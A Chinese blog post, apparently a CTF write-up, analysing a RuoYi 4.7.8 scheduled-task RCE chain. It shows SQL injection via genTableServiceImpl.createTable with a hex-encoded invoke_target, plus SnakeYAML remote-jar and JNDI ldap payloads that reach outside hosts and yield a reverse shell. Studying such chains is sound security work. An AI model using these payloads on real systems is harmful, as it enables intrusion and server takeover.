ruoyi-v4.7.8-RCE分析

前言

应朋友的邀约看了看CNSS的夏令营题,基本是去年招新的原题,很简单。出了一道ruoyi不是原题,版本是4.7.7,这里也是直接拿下一血,借此做一个分析。

image-20240808010612421

image-20240808010623193

其实Ruoyi在4.7.6以前都是可以直接在定时任务打snakeyaml写内存马或者jndi,但是4.7.7后把bean能调用的一些class给ban了,而且4.7.8可以看到限制了http(s)/ldap/rmi的执行,其实不算是完全限制,只是在函数字符串位置限制了。

分析

调试分析我就偷个懒,这里浅浅Copy一下~~

Blacklist & Whitelist

这里其实就跟那些博客写的一样,我们需要找到一个方法能够使payload写入定时任务,这里我们找到的是sql注入的方式,用十六进制绕过限制。

4.7.6往前的RCE也很简单,直接定时任务写入:

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')

打snakeyaml反序列化,这里一般用的是http把yaml-payload.jar挂vps上,或者

1
javax.naming.InitialContext.lookup('ldap://xxx')

直接调用lookup打JNDI。

但是使用http这种会遇到:

image-20240808012333703

因为在SysJobController.java黑名单设置:

image-20240808012423775

而且设置了计划任务白名单和违规字符过滤:

image-20240808012501587

黑白名单在com/ruoyi/quartz/controller/SysJobController#addSave:

image-20240808012607310

当通过了上述条件后,则执行 com/ruoyi/quartz/service/impl/SysJobServiceImpl#insertJob,先将定时任务写入数据库:

image-20240808012656684

然后创建定时任务

image-20240808012708444

然后就是定时任务执行逻辑,进入 com/ruoyi/quartz/util/AbstractQuartzJob#execute

image-20240808012720314

继续跟进,进入 invokeMethod 方法

getInvokeTarget:调用目标字符串,获取数据库中 invoke_target 字段

getBeanName:获取 beanName

getMethodName:获取方法名

getMethodParams:获取参数名

然后判断是不是全限定类名,若不是则从 spring 容器中获取

image-20240808012736493

继续跟进 invokeMethod 方法,利用反射执行方法image-20240808012748530

从上可分析出如下结果:

  1. 对象可以是 spring 容器中注册过的 bean,也可以指定 class 名称。
  2. 若是 spring 容器中注册过的 bean,则可直接从 spring 容器中取出,若是指定 class 名称,则可以通过反射 newInstance()创建对象。

前面也讲到了用SQL注入来绕黑白名单,接下来就介绍这一部分。

SQL Injection

在 ruoyi 4.7.5 版本之前,后台接口/tool/gen/createTable处存在 sql 注入(CVE-2022-4566)

image-20240808012933725

而 genTableService 的实现类是 GenTableServiceImpl:

image-20240808013002895

对应的 Mapper 语句:

1
2
3
<update id="createTable">
${sql}
</update>

运行结果:

image-20240808013034355

RCE

根据上文可知,ruoyi 计划任务能调用 bean 或者 class 类,SQL 注入依赖于 GenTableServiceImpl#createTable。

如果 GenTableServiceImpl 是 bean 对象,就可以直接调用 GenTableServiceImpl#createTable 执行 SQL 语句

在启动类中打印所有加载的 bean,其中包括 genTableServiceImpl:

1
2
3
4
5
6
7
ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
// 获取所有bean的名称
String[] beanDefinitionNames = run.getBeanDefinitionNames();
// 打印所有bean的名称
for (String beanDefinitionName : beanDefinitionNames) {
System.out.println(beanDefinitionName);
}

image-20240808013103461

于是可以调用 genTableServiceImpl.createTable 实现 sql 语句执行,所以 RCE 的思路:配合注入在 sys_job 数据表中直接插入恶意计划任务,即可不调用 addSave 方法添加计划任务内容,成功绕过黑白名单限制:

image-20240808013138821

而SQL语句是支持十六进制操作的,那我们就可以在添加SQL定时任务时,使用十六进制转换绕过。

1
2
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f797670307a662e646e736c6f672e636e2729 WHERE job_id = 100;')

成功调用 genTableServiceImpl.createTable 方法:

image-20240808013251023

成功修改:

image-20240808013336825

执行代码:

image-20240808013347219

如此这般,所有的都拉通了。

既然这里可以十六进制绕过,那么无论是打Snakeyaml的反序列化还是JNDI都是为所欲为。

回到题目

因为题目用的公共环境,我也不想别人蹭车(嘻嘻),所以就没打内存马,直接JNDI反弹shell打的:

首先是这个方法测了一下DNS:

image-20240808013647155

收到回显,那么直接游戏结束了。

首先我创了几个任务,那个cront语句仿照那个随便写写就可以了,对上id,

JNDI原始payload:

1
javax.naming.InitialContext.lookup('ldap://xxxxxx')

转十六进制后写入一个新创的定时任务(这里我是写入id=7的定时任务里):

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a61xxxxx.... WHERE job_id = 7;')

然后在表盘打开任务状态,在更多操作处选择执行一次,会发现id=7的定时任务已经写入payload:

image-20240808014026384

然后在将id=7的定时任务执行一次,JNDI反弹shell:

image-20240808014129907

image-20240808014116572

参考:

若依4.7.8版本计划任务rce复现_若依计划任务rce-CSDN博客

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

N/A|RuoYi v4.7.8若依后台管理系统RCE漏洞(POC)-腾讯云开发者社区-腾讯云 (tencent.com)

最新Ruoyi组合拳RCE分析 - 先知社区 (aliyun.com)

ruoyi漏洞poc汇总及其原理分析(源码分析)-CSDN博客

lz2y/yaml-payload-for-ruoyi: A memory shell for ruoyi (github.com)


ruoyi-v4.7.8-RCE分析
https://eddiemurphy89.github.io/2024/08/08/Ruoyi-v4-7-8-RCE分析/
作者
EddieMurphy
发布于
2024年8月8日
许可协议